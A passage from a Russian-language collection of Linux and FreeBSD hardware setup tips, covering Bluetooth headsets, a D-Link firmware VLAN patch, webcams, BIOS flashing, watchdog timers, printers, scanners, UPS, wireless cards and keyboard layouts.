          YY:YY:YY:YY:YY:YY       Jabra BT 250v
    
    Соединиться с гарнитурой:
    
       # sudo hcitool cc YY:YY:YY:YY:YY:YY
    
    Проверим исходный код btsco. btsco используется для подключения гарнитуры к звуковому устройству:
    
       # cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa co btsco
    
    Соберем и установим btsco:
    
       # cd btsco
       # ./bootstrap
       # ./configure
       # make
       # sudo make install
    
    Соберем и установим модуль ядра btsco:
    
       # cd kernel
       # make
       # sudo make install
       # sudo /sbin/depmod -e
    
    Загрузите модуль ядра emu10k1 (добавьте команду "/sbin/modprobe
    emu10k1" (без кавычек) 
    в файл /etc/rc.d/boot.local для загрузки модуля автоматически во время старта системы):
    
       # sudo /sbin/modprobe emu10k1
    
    Добавьте команду "/sbin/modprobe snd-bt-sco" (без кавычек) в файл /etc/rc.d/boot.local 
    для загрузки модуля автоматически во время старта системы:
    
       # sudo /sbin/modprobe snd-bt-sco
    
    Соедините btsco с гарнитурой:
    
       # sudo btsco -v YY:YY:YY:YY:YY:YY
    
    Настройте skype на использования /dev/dsp1 (Tools -> Options -> Hand/Headsets)
    
    Для автоматизации процесса каждый раз во время запуска Skype сохраните 
    этот скрипт как ~/bin/skype.sh и выполняйте вместо стандартной команды для запуска Skype:
    
       #!/bin/bash
       gnomesu btsco -v YY:YY:YY:YY:YY:YY &
       skype
       gnomesu pkill btsco
    
    
    Оригинал на английском: http://www.novell.com/communities/node/3758/using-skype-with-a-bluetooth-headset-sled-10
    
     
    ----* Включение поддержки VLAN на ADSL-маршрутизаторе D-Link 2500U/BRU/D   Автор: halic  [комментарии]
     
    Переделанная прошивка позволяет указывать VLAN-id на ethernet порте  модема D-Link 2500U/BRU/D
    (http://dlink.ru/ru/products/3/745.html).
    VLAN-id не указывается каким-то отдельным пунктом, а берется из IP.
    Если нужен VLAN-id 22, меняйте локальный IP модема на X.X.22.X, если 66 - X.X.66.X.
    Например: 192.168.55.1 для VLAN-id #55.
    Прошивка проверенно работает на модемах первой ревизии, т.е. без индикатора Internet.
    
    Оригинальные исходники можно загрузить здесь:
       ftp://ftp.dlink.ru/pub/ADSL/GPL_source_code/DSL-2500U_BRU_D/DLink_DSL-2500U_RU_1.20_release.tar.gz
    
    Патч:
    
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template ./hostTools/scripts/defconfig-bcm.template
       --- ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/defconfig-bcm.template	2009-02-06 21:19:01.000000000 +0200
       @@ -615,7 +615,7 @@
        CONFIG_ATM_BR2684=m
        # CONFIG_ATM_BR2684_IPFILTER is not set
        CONFIG_ATM_RT2684=y
       -# CONFIG_VLAN_8021Q is not set
       +CONFIG_VLAN_8021Q=y
        # CONFIG_LLC2 is not set
        # CONFIG_IPX is not set
        # CONFIG_ATALK is not set
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig ./hostTools/scripts/gendefconfig
       --- ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/gendefconfig	2009-02-06 21:18:45.000000000 +0200
       @@ -462,9 +462,9 @@
       ############################################################
       # VLAN config generation
       ############################################################
       -if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       -SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       -fi
       +#if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       +#SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       +#fi
     
        ############################################################
        #       WAN operation over Ethernet
       diff -urN ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan ./targets/fs.src/etc/rc.vlan
       --- ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan	1970-01-01 03:00:00.000000000 +0300
       +++ ./targets/fs.src/etc/rc.vlan	2009-02-07 06:32:13.000000000 +0200
       @@ -0,0 +1,12 @@
       +#!/bin/sh
       +
       +PATH=/bin:/sbin:/usr/bin
       +export PATH
       +
       +VID=$1
       +VIF=eth0.$VID
       +
       +vconfig add eth0 $VID > /dev/null 2> /dev/null
       +ifconfig $VIF up > /dev/null 2> /dev/null
       +brctl addif br0 $VIF > /dev/null 2> /dev/null
       +brctl delif br0 eth0 > /dev/null 2> /dev/null
       diff -urN ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html   /DLink_Style/footer.html ./userapps/broadcom/cfm/html/DLink_Style/footer.html
       --- ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html/DLink_Style/footer.html	2008-06-13 16:45:30.000000000 +0300
       +++ ./userapps/broadcom/cfm/html/DLink_Style/footer.html	2009-02-09 22:02:46.000000000 +0200
       @@ -11,9 +11,9 @@
                 <tr>
                     <td class="footerTd" align="center">
                         <font color="white" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular">
       -                    Recommend: 800x600 pixels,High Color(16 Bits)
       +                    Recommend: 800x600 pixels,High Color(16 Bits) · <font color="red">VLAN POWERED</font>
                     </font></td>
                 </tr>
             </table>
         </body>
       -</html>
       \ No newline at end of file
       +</html>
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config ./userapps/opensource/busybox/brcm.config
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config	2008-06-13 16:45:18.000000000 +0300
       +++ ./userapps/opensource/busybox/brcm.config	2009-02-07 01:32:49.000000000 +0200
       @@ -279,7 +279,7 @@
        CONFIG_FEATURE_TFTP_DEBUG=n
     
        # CONFIG_TRACEROUTE is not set
       -CONFIG_VCONFIG=n
       +CONFIG_VCONFIG=y
        # CONFIG_WGET is not set
     
        #
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c ./userapps/opensource/busybox/networking/ifconfig.c
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c	2008-06-13 16:45:17.000000000 +0300
       +++ ./userapps/opensource/busybox/networking/ifconfig.c	2009-02-07 07:42:04.000000000 +0200
       @@ -37,6 +37,7 @@
        #include <string.h>		/* strcmp and friends */
        #include <ctype.h>		/* isdigit and friends */
        #include <stddef.h>		/* offsetof */
       +#include <unistd.h>
        #include <netdb.h>
        #include <sys/ioctl.h>
        #include <net/if.h>
       @@ -558,6 +559,28 @@
     		continue;
     	}					/* end of while-loop    */
     
       +	if(	strcmp(ifr.ifr_name, "br0") == 0  &&
       +		((char*)&sai.sin_addr.s_addr)[0] != 0 &&
       +		((char*)&sai.sin_addr.s_addr)[2] > 1
       +	  )
       +	{
       +		int __pid;
       +		char __cmd[32];
       +
       +		if((__pid = fork()) == 0)
       +		{
       +			sprintf(__cmd, "/etc/rc.vlan %d", 
       +				(char)    (((char*)&sai.sin_addr.s_addr)[2]) );
       +			execl("/bin/sh", "/bin/sh", "-c", __cmd, NULL);
       +			exit(0);
       +		}
       +		else
       +		{
       +			if(__pid == -1)
       +				fprintf(stderr, "ifconfig: unable to execute /etc/rc.vlan\n");
       +		}
       +	}
       +
     	return goterr;
        }
     
    
    Готовый бинарник можно запросить по адресу: <halic, который на инбоксе в россии>.
    
     
    ----* Решение проблемы с подключением web-камеры к Skype под Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Если в Linux дистрибутиве с ядром 2.6.27 или старше локальная web-камера (например, 
    камеры серии Logitech Quickcam Communicate работающие через gspca драйверы) в skype 
    (или любой другой программе использующей интерфейс v4l1) отображает лишь шум на экране, 
    для запуска skype нужно использовать скрипт:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so
       skype 
    
    
    v4l1compat.so входит в состав пакета libv4l
    
    Проверить в v4l1 ли причина можно так:
    
       LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so mplayer tv:// -tv driver=v4l2:device=/dev/video0
    
    Для настройки параметров отображения удобно использовать программу v4lucp (http://sourceforge.net/projects/v4l2ucp/)
    
    Создание скрипта для подмены skype:
    
      mv /usr/bin/skype /usr/bin/skype-bin; echo -e '#!/bin/sh\n\n
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so\n\nskype-bin' |
       tee -a /usr/bin/skype; sudo chmod +x /usr/bin/skype
    
     
    ----* Перепрошивка BIOS в Linux (доп. ссылка 1)   Автор: stylliaga  [комментарии]
     
    Устанавливаем программу для перепрошивки. Загружаем с
    http://openbios.info/FlashRom) или ставим из Debian-based репозитория:
    
       apt-get install flashrom
    
    Перед записью новой прошивки в БИОС, желательно сохранить старую версию, то
    есть скопировать прошивку,
    которая уже прошита в БИОСе, чтобы потом можно было легко восстановить все обратно:
    
       flashrom -r MyBIOS.bin
    
    Где MyBIOS.bin - это имя файла, в который сохранится старая версия прошивки. 
    После сохранения, можно уже на свой страх и риск записывать скачанную прошивку в БИОС:
    
       sudo flashrom -w NewBIOS.bin
    
    Где NewBIOS.bin - это имя скачанной прошивки. Также, можно добавить ключ -v
    чтобы программа проверила
    записанную прошивку и еще можно добавить ключ -V чтобы вывод работы был более информативным:
    
       sudo flashrom -Vvw NewBIOS.bin
    
    
    На примере была испытана материнская плата GIGABYTE GA-965P-DQ6 rev2.0 с Ubuntu
    8.04 GNU/Linux на борту
    FlashRom при первом запуске без ключей показал вот такую информацию:
    
       krik@krik-desktop:~/temp$ sudo flashrom
       [sudo] password for krik:
       Calibrating delay loop... OK.
       No coreboot table found.
       Found chipset "Intel ICH8/ICH8R", enabling flash write... OK.
       Found chip "Macronix MX25L8005" (1024 KB) at physical address  0xfff00000.
       Found chip "Macronix unknown Macronix SPI chip" (0 KB) at physical address 0x0.
       Multiple flash chips were detected: MX25L8005 unknown Macronix SPI chip
       Please specify which chip to use with the -c option."
    
    На материнской плате установлено два чипа BIOS. Один главный, второй - запасной 
    (в случае повреждения первого, прошивка восстанавливается со второго). 
    Флэшер нашел оба этих чипа и предложил выбрать, который использовать. Чтобы выбрать чипсет - 
    надо использовать ключ -c. Для этой материнской платы, чтобы прочитать уже
    стоящею прошивку БИОСа в файл,
    пришлось запустить ее с такими параметрами:
    
       sudo flashrom -r MyBIOS.bin -c MX25L8005
    
    Где MyBIOS.bin - это файл, куда сохранялась прошивка, а MX25L8005 - выбранный чипсет. 
    После того, как прошивка была забекапена, можно уже приступать непосредственно
    к записи новой прошивки.
    Перед записью прошивки в БИОС можно проверить, ту ли прошивку вы скачали - достаточно сравнить 
    размер MyBIOS.bin и 965PDQ6.12K или открыть оба файла в hex-редакторе и
    сравнить начало и конец. Если все в порядке, приступаем:
    
       sudo flashrom -Vvw -c MX25L8005 965PDQ6.12K
    
    Где файл 965PDQ6.12K - и есть сама прошивка с официального сайта (на сайте расположены exe-файлы, 
    но это всего-лишь SFX-RAR архив с самой прошивкой и программой-флэшером для ДОСа). 
    Теперь можно перезагрузиться с новым биосом.
    
    
    Настройки NVRAM (CMOS)
    
    В линуксе не только можно прошивать БИОС, но и также сохранять или записывать
    его текущие настройки,
    причем штатными средствами. Нужно всего-лишь подгрузить модуль nvram и считать
    информацию с устройства /dev/nvram:
    
       modprobe nvram
       sudo dd if=/dev/nvram of=my_bios_cfg.bin
    
    Где my_bios_cfg.bin - это двоичный файл, куда сохранятся текущие настройки BIOS. 
    Записать настройки обратно можно тем-же путем, только поменяв if на of и of на if:
    
       sudo dd of=/dev/nvram if=my_bios_cfg.bin
    
     
    ----* Использование аппаратного "watchdog" во FreeBSD   Автор: Дмитрий Иванов  [комментарии]
     
    Некоторые материнские платы снабжены специальным устройством, делающим жесткую перезагрузку, 
    если ОС не "дернула" вовремя это устройство. Называется оно "hardware watchdog timer". 
    Таким образом, автоматическая и неминуемая перезагрузка гарантируется при "зависании" ОС.
    
    В частности, watchdog timer имеется на многих материнских платах Intel, 
    причем не только на серверных. Соответствующий драйвер FreeBSD называется ichwd. 
    Итак, если у нас материнка Intel, попробуем сделать так:
    
       kldload ichwd
    
    В сообщениях ядра (их можно посмотреть командой dmesg) при этом увидим что-то вроде:
    
       ichwd0: <Intel ICH9R watchdog timer> on isa0
       ichwd0: Intel ICH9R watchdog timer (ICH9 or equivalent)
    
    Теперь ясно, что у нас действительно есть такой таймер. Действуем дальше.
    
    Для автоматической загрузки драйвера добавляем в /boot/loader.conf:
    
       ichwd_load="YES"
    
    Для запуска демона, "дергающего" watchdog, добавляем в /etc/rc.conf:
    
       watchdogd_enable="YES"
    
    Этот демон будет периодически "дергать" таймер, сообщая ему, что система все еще жива. 
    Будьте осторожны с этим демоном! Если убить его как обычно (т.е. 15-м сигналом), 
    он аккуратно снимет таймер с "боевого дежурства". Но если убить его 9-м сигналом, 
    то таймер перестанет получать наши сигналы, и решит, что система зависла. Произойдет перезагрузка.
    
    Иногда watchdog надо включить в BIOS. На некоторых платах watchdog есть, но
    воспользоваться им невозможно.
    Иногда при инициализации драйвера появляется ругань на параллельный порт, но ее можно игнорировать.
    
    Проверено на FreeBSD 7.1-BETA2.
    
     
    ----* Печать на МФУ Samsung во FreeBSD с использованием драйверов Linux   Автор: Alexander Shikoff  [комментарии]
     
    Настройка печати через CUPS на МФУ Samsung SCX-4521F с использованием 
    драйверов Linux
    
    Окружение: 
            - FreeBSD 7.1-PRERELEASE i386
            - linux_base-f8 из портов
            - linux-png-1.2.8_2 из портов
            - linux-tiff из портов
            - linux-jpeg-6b.34 из портов
            - linux-xorg-libs-6.8.2_5 из портов
            - cups-base-1.3.9_2 из портов
            - cups-smb-backend-1.0_1 из портов
    
    Предполагается также, что линуксолятор вкомпилирован в ядро/подгружен и работает.
    Если он работает нормально, то в sysctl можно увидеть версию ядра:
    
       # sysctl -a|grep linux
    
       hw.snd.compat_linux_mmap: 0
       compat.linux.oss_version: 198144
       compat.linux.osrelease: 2.6.16
       compat.linux.osname: Linux
    
    1. Качаем с официального сайта Samsung драйвера для Linux 
    (Linux Unified Driver). В моем случае файл назывался UnifiedLinuxDriver.tar.gz.
    
    2. Распаковываем:
    
       # tar -zxf UnifiedLinuxDriver.tar.gz
    
    3. Копируем ppd-файл с драйвером и нужный фильтр в папки CUPSа. Посмотреть, 
    какой именно фильтр нужен, можно в соответствующем Вашему принтеру файлу ppd:
    
       # cat cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd |grep Filter
       *cupsFilter:  "application/vnd.cups-postscript 0 rastertosamsungspl"
    
       # mkdir /usr/local/share/cups/model/samsung
       # cp cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd /usr/local/share/cups/model/samsung/
       # cp cdroot/Linux/i386/at_root/usr/lib/cups/filter/rastertosamsungspl /usr/local/libexec/cups/filter/
    
    4. Теперь задача добавить в /compat/linux недостающие либы. Перед тем, как 
    запускать линуксячий бинарник, стОит выполнить команду
    
       # /compat/linux/sbin/ldconfig
    
    Далее нужно выяснить, каких библиотек не хватает. Самый простой способ - запускать 
    из командной строки /usr/local/libexec/cups/filter/rastertosamsungspl и смотреть,
    чего ему не хватает. Подкладывать их в /compat/linux/lib или /compat/linux/usr/lib
    по одной, и запускать /compat/linux/sbin/ldconfig. 
    
    В моем случае не хватало следующих:
    
            libcups.so.2
            libcupsimage.so.2
            libgnutls.so.13
            libgcrypt.so.11
            libgpg-error.so.0
    
    Найти и скачать RPM-пакеты для нужного релиза Fedroa, в которых есть эти библиотеки, 
    можно с помощью Web-сервиса RPM Search, например http://rpm.pbone.net/
    Итак, у нас появляется 4 файла rpm:
    
       # ls -1 *rpm
    
       cups-libs-1.3.4-2.fc8.i386.rpm
       gnutls-1.6.3-2.fc8.i386.rpm
       libgcrypt-1.2.4-6.i386.rpm
       libgpg-error-1.5-6.i386.rpm
    
    Достаем оттуда библиотеки:
    
       # rpm2cpio cups-libs-1.3.4-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio gnutls-1.6.3-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio libgcrypt-1.2.4-6.i386.rpm | tar -zxf -
       # rpm2cpio libgpg-error-1.5-6.i386.rpm | tar -zxf -
    
    Копируем их в /compat/linux:
    
       # cp -v lib/libgcrypt.so.11.2.3 lib/libgpg-error.so.0.3.1 /compat/linux/lib/
       lib/libgpg-error.so.0.3.1 -> /compat/linux/lib/libgpg-error.so.0.3.1
       lib/libgcrypt.so.11.2.3 -> /compat/linux/lib/libgcrypt.so.11.2.3
       # cp -v usr/lib/libcups* /compat/linux/usr/lib/
       usr/lib/libcupsimage.so.2 -> /compat/linux/usr/lib/libcupsimage.so.2
       usr/lib/libcups.so.2 -> /compat/linux/usr/lib/libcups.so.2
       # cp -v usr/lib/libgnutls.so.13.3.0 /compat/linux/usr/lib/tls/
       usr/lib/libgnutls.so.13.3.0 -> /compat/linux/usr/lib/tls/libgnutls.so.13.3.0
       # /compat/linux/sbin/ldconfig
    
    5. Если все было сделано правильно, то бинарник должен нормально запуститься:
    
       # /usr/local/libexec/cups/filter/rastertosamsungspl
    
       INFO: Usage: rastertosamsungspl job-id user title copies options [file]
       ERROR: Wrong number of arguments
    
    6. Далее идем броузером на http://localhost:631/ и подключаем принтер, как обычно.
    В разделе Make/Manufacturer должен появиться Samsung, и далее - в разделе
    
       Model/Driver - SCX-4x21 Series.
    
    Возможно, пропустил что-то, но в принципе суть изложена.
    Аналогичным образом, я думаю, можно завести любой принтер, если к нему есть
    нормальные Linux драйверы.
    
     
    ----* Организация в Linux совместного доступа к сканеру с нескольких машин (доп. ссылка 1)   Автор: volhin  [комментарии]
     
    Пошаговое мини-howto, описывающее как расшарить сканер между linux-системами по
    аналогии с сетевым принтером.
    Предполагаем, что локально сканер на сервере настроен и работает (см. sane).
    Теперь нужно выполнить следующие действия:
    
    На сервере:
    
    1) Ставим демон saned (входит в состав разных пакетов, в зависимости от
    дистрибутива, наример sane-utils или sane-server).
    
    2) В /etc/sane.d/saned.conf добавляем ip клиента(ов) (см. примеры в том же файле).
    
    3) Создаем файл /etc/xinetd.d/saned (для автоматического запуска сервера
    сканирования сетевым демоном xinetd) вида:
    
        service sane-port
        {
           disable = no
           socket_type = stream
           protocol = tcp
           user = scanner
           wait = no
           server = /usr/sbin/saned
           only_from = 192.168.1.1 192.168.1.2 # список машин, которым можно обращаться к сканеру
        }
    
    (здесь предполагается, что в системе присутствует пользователь "scanner" с
    правами на доступ к сканеру.
    конечно можно задать пользователя, от имени которого будет запускаться демон saned, по желанию. 
    root строго не рекомендуется)
    
    4) Выполняем команду (чтобы xinetd подхватил созданный нами файл):
    
       $ sudo /etc/init.d/xinetd reload
    
    
    На клиенте:
    
    5) В /etc/sane.d/net.conf добавляем строку с ip сервера.
    
    6) Пускаем xsane, сканируем, радуемся.
    
     
    
     
    ----* Подключение ИБП APC Smart в Linux через USB порт   Автор: Сева  [комментарии]
     
    Имеется в наличии APC SC 1500 с USB кабелем, и Gentoo Linux 2.6.25-r7.
    Демон apcupsd никак не хотел с этим работать, apctest выдавал ошибку
    подключения.
    
       # lsusb
       Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 005 Device 002: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial Port
       Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
       Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
    
    В интернете я нашел только жалобы, на то, что данная связка не работает
    и нужно ставить apcuspd версию 3.10 из development ветки.
    
    Оказалось всё решается просто.
    
    Prolific Technology, Inc. PL2303 Serial Port - это обычный USB->COM конфертер.
    Благодаря ему, в системе создается serial устройство /dev/ttyUSB0,
    которое и нужно указать в файле конфигурации.
    После чего конфигурационный файл выглядит так.
    
       # cat /etc/apcupsd/apcupsd.conf |grep -v "#"
    
       UPSCABLE smart
       UPSTYPE apcsmart
       DEVICE /dev/ttyUSB0
    
    А после, всё по man acpupsd.conf
    
    Если в системе вы не видите "Bus 005 Device 002: ID 067b:2303 Prolific
    Technology, Inc. PL2303 Serial Port",
    то в ядре нужно указать следующие опции 
    
    Device Drivers  ---> USB support --> USB Serial Converter support -> USB
    Prolific 2303 Single Port Serial Driver
    
     
    ----* Настройка bluetooth соединения в Asus EeePC   [комментарии]
     
    Не смотря на то, что в EeePС нет встроенного bluetooth адаптера, 
    к нему легко можно подключить внешний bluetooth брелок с USB интерфейсом.
    
    Все необходимые консольные приложения доступны после установки пакета:
    
       apt-get install bluez-utils
    
    К сожалению для eeepc отсутствуют GUI хелперы для связывания устройств, 
    из того что есть в репозиториях debian etch и xandros (например kdebluetooth), 
    из-за проблем с зависимостями пакетов, подходит только bluez-gnome.
    
    Если bluetooth устройство самостоятельно может инициировать связывание, 
    то все нормально, если нет - при попытке связать устройства используя только консольные 
    средства начинаются проблемы, в bluez 3.x был изменен механизм связывания устройств, 
    если ранее достаточно было создать простой скрипт для вывода PIN и прописать в options 
    секцию  hcid.conf -  "pin_helper /etc/bluetooth/feed-pin.sh;", то теперь для получения PIN 
    используется DBUS. В комплекте с bluez поставляется программа passkey-agent, 
    предназначенная для связывания устройств, в пакет bluez-utils в Debian GNU/Linux эта программа 
    по каким-то соображениям не была включена. Исходные тексты программы можно найти в 
    /usr/share/doc/bluez-utils/examples, но для сборки потребуется установка
    окружения для сборки программ,
    что в условиях небольшого SSD диска не вполне оправдано. Запускается агент примерно так: 
    
       passkey-agent --default 1234
    
    где, 1234 пароль для связывания.
    
    Выход нашелся в апплете bluetooth-applet, который входит в состав пакета bluez-gnome. 
    Запустив который при попытке связывания появляется  диалоговое окно для ввода пароля связывания.
    
    
    Для настройки GPRS через сотовый телефон с Bluetooth интерфейсом можно использовать пакет 3egprs 
    (устанавливает иконку на десктоп и скрипт /usr/sbin/gprsconf) с сайта http://www.3eportal.com/
    
    Другой вариант - инициирование ppp сессии из консоли. Ниже пример настройки:
    
    Подключаем bluetooth адаптер в USB порт. Через dmesg смотрим, нашелся ли дня него драйвер.
    
    Запускаем инициализацию bluez:
       /etc/init.d/bluetooth start
    
    Смотрим поднялся ли интерфейс:
       hciconfig 
    
    Если статус down, поднимаем его:
       hcicofig hci0 up
    
    Сканируем доступные устройства:
       hcitool scan
    
    Запоминаем адрес устройства. Для примера проверяем его доступность:
       l2ping 00:0A:0B:0C:0D:0E
    
    Адрес можно посмотреть командой:
       hcitool dev
    
    а определить поддерживаем ли bluetooth устройство GPRS:
       sdptool search DUN
    
    Создаем rfcomm интерфейс:
       rfcomm bind 0 [полученный адрес] 1
    
    По идее rfcomm должен создаться автоматически, при надлежащей настройке /etc/bluetooth/rfcomm.conf,
    например: 
    
       rfcomm0 { 
            bind yes;
            device 00:0A:0B:0C:0D:0E;
            channel 1;
            comment "Mobile";
       }
    
    Далее создаем файл конфигурации для pppd, /etc/ppp/peers/mts:
    
       lcp-echo-failure 0
       lcp-echo-interval 0
       /dev/rfcomm0
       connect "/usr/sbin/chat -v -f /etc/ppp/peers/gprs"
       115200
       crtscts
       debug
       ipcp-accept-local
       noauth
       usepeerdns
       defaultroute
       noipdefault
       nodetach
    
    /etc/ppp/peers/gprs:
    
       ABORT  BUSY  ABORT  'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT
       'NO DIAL TONE' ABORT 'NO ANSWER' ABORT DELAYED
       '' 'AT'
       'OK' 'AT+CGDCONT=1,"IP","internet.mts.ru"'
       'OK' 'ATDT*99***1#'
       TIMEOUT 30
       CONNECT
    
    Для beeline заменяем "internet.mts.ru" на "internet.beeline.ru", для мегафона
    пишем просто "internet".
    
    Подключаемся выполнив команду:
       pppd call mts
    
    Перевод wiki-страницы о настройке Bluetooth в Asus EeePC, выполненный
    Сгибневым Михаилом, 
    можно найти на странице: http://www.opennet.dev/base/modem/bluetooth_eeepc.txt.html
    
     
    ----* Отключение засыпания DVB карты в ядре Linux   Автор: va  [комментарии]
     
    идем в 
       cd /usr/src/linux-*/drivers/media/dvb/dvb-core
    
    открываем файл dvb_frontend.c
    находим строчку static int dvb_powerdown_on_sleep = 1;
    изменяем на static int dvb_powerdown_on_sleep = 0;
    компилируем и ставим ;)
    
    теперь не нужно модуль dvb-core загружать с параметром 
       dvb_shutdown_timeout=0
    
     
    ----* Настройка работы беспроводной карты на базе Broadcom BCM43xx в Ubuntu (доп. ссылка 1)   Автор: E@zyVG  [комментарии]
     
    После установки Ubuntu 8.04 по умолчанию не работают беспроводные карты на базе
    чипов Broadcom BCM43xx из-за отсутствия firmware.
    Начиная с Linux ядра 2.6.24 работу данных карт в Linux обеспечивает драйвер b43, 
    в более ранних версиях использовался драйвер bcm43xx.
    
    Для включения работы карты нужно установить пакет b43-fwcutter и получить firmware:
    
       sudo apt-get install b43-fwcutter
    
    и активировать на ноутбуке адаптер. 
    Также можно воспользоваться меню  Menu / System / Administration / Hardware Drivers.
    
    Драйвером b43 поддерживаются чипы:
    
        * bcm4303 (802.11b)
        * bcm4306
        * bcm4309 (только 2.4GHz)
        * bcm4311 rev 1 / bcm4312
        * bcm4311 rev 2 / bcm4312 (с 2.6.24 ядром работает через доп. патчи)
        * bcm4318
    
    В настоящее время нет поддержки: 
        * 802.11a для серий 4309 и 4312;
        * BCM 4328/4329
        * не реализованы возможности представленные в проекте стандарта 802.11n;
    
    Сайт разработчиков драйвера: http://wireless.kernel.org/en/users/Drivers/b43
    
     
    ----* Настройка клавиатуры для Xorg при работающем hal-0.5.10 (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    Решение представлено для Gentoo, но возможно проблема актуальна и для других дистрибутивов.
    При обновлении hal до версии 0.5.10 перестает нормально работать 
    клавиатура. По множественным отзывам в Сети, у всех перестает 
    работать преключатель раскладки, у меня еще были глюки с другими 
    клавишами (например кнопка "вверх" работала как PrtScr и др.)
    
    Для начала приведу часть xorg.conf который у меня работал испокон веков:
    
       Section "InputDevice"
           Identifier  "Chicony"
           Driver "kbd"
           Option "Protocol" "Standard"
           Option "XkbModel"    "pc105"
           Option "XkbRules"   "xorg"
           Option "XkbLayout"  "us,ru,ua"
           Option "XkbVariant" ",winkeys"
           Option "XkbOptions" "grp:lwin_toggle,grp_led:scroll"
           Option "AutoRepeat" "250 30"
       EndSection
    
    Причина того, что эта конфигурация отвалилась, состоит в том, что новая 
    версия hal просто игнорирует конфиг xorg.conf.
    
    Нашел два метода решения проблемы.
    
    Первый метод:
    http://ru.gentoo-wiki.com/HOWTO_hal_и_устройства_ввода
    
    Смысл в том, что создается файл политики hal, который содержит конфигурацию клавиатуры:
    
       /usr/share/hal/fdi/policy/20thirdparty/10russian-layout.fdi
    
    Учитывая, что в статье есть небольшие ошибки, приведу свой файл 
    конфигурации. Рекомендую сопоставлять с приведенным выше xorg.conf
    
       <?xml version="1.0" encoding="ISO-8859-1"?><!-- -*- SGML -*- -->
       <match key="info.capabilities" contains="input.keyboard">
            <merge key="input.x11_driver" type="string">kbd</merge>
            <merge key="input.xkb.model" type="string">pc105</merge>
            <merge key="input.xkb.rules" type="string">xorg</merge>
            <merge key="input.xkb.layout" type="string">us,ru</merge>
            <merge key="input.xkb.variant" type="string">,winkeys</merge>
            <merge key="input.xkb.options"   type="strlist">grp:lwin_toggle,grp_led:scroll</merge>
       </match>
    
    Думаю смысл понятен.
    
    После создания файла следует пергрузить hald и перегрузить иксы.
    
    Недостаток этого метода состоит в том, что я так и не смог настроить переключение трех языков.
    
    
    Второй метод:
    
    
    Второй метод состоит в том, что мы отключаем автоопределение 
    устройств. Для этого в xorg.conf в секцию ServerLayout дописываем 
    Option "AutoAddDevices" "False". После перегрузки иксов настройки 
    клавиатуры берутся из xorg.conf.
    
    Подозреваю, что у второго метода есть свои недостатки, но я их пока не обнаружил.
    
     
    ----* Обеспечение работы беспроводной карты в Ubuntu 7.10 через ndiswrappe (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    1. Устанавливаем ndiswrapper:
    
        sudo apt-get install ndiswrapper-common ndiswrapper-utils-1.9
    
    2. Распаковываем куда нибудь Windows драйверы и пишем из под пользователя root такие команды:
    
        ndiswrapper -i bcmwl5.inf
        modprobe ndiswrapper
        echo "blacklist bcm43xx" >> /etc/modprobe.d/blacklist
        echo "ndiswrapper" >> /etc/modules
    
    3. Перегружаемся и проверяем. Все должно работать.
    
     
    ----* Установка неподдерживаемой сетевой карты ASUS NX1001 во FreeBSD 6.2   Автор: fenixfenix  [комментарии]
     
    При установке сетевой карточки Asus NX1001, я не смог обнаружить её при наборе
    команды ifconfig. А также в sysinstall->Configure->Networking.
    Первое, что мне пришло в голову конфликт с ACPI, после отключения в БИОСе ACPI -
    результатов никаких не дало. Поэтому пришлось заняться поисками решения
    этой проблемы копаясь в интернете, особо на сайте freebsd.org. Найдя похожую
    проблему работы с сетевой картой Asus NX1001 в FreeBSD 6.2, вот что в итоге 
    необходимо было сделать.
    
    Набрав команду pciconf -lv и найдя среди результатов вывода 
    
    "Sundance ST201 10/100BaseTX". 
    
    Мне пришлось дописать в файлах:
    /usr/src/sys/pci/if_ste.c
    /usr/src/sys/pci/if_stereg.h
    нижеследующее (строка AS_VENDORID...), в файле if_ste.c:
    
       static struct ste_type ste_devs[]={
          {ST_VENDORID, ST_DEVICEID_ST201,"Sundance ST201 10/100BaseTX"},
    
          {AS_VENDORID, AS_DEVICEID_NX1001,"ASUS NX1001 10/100BaseTX"},
    
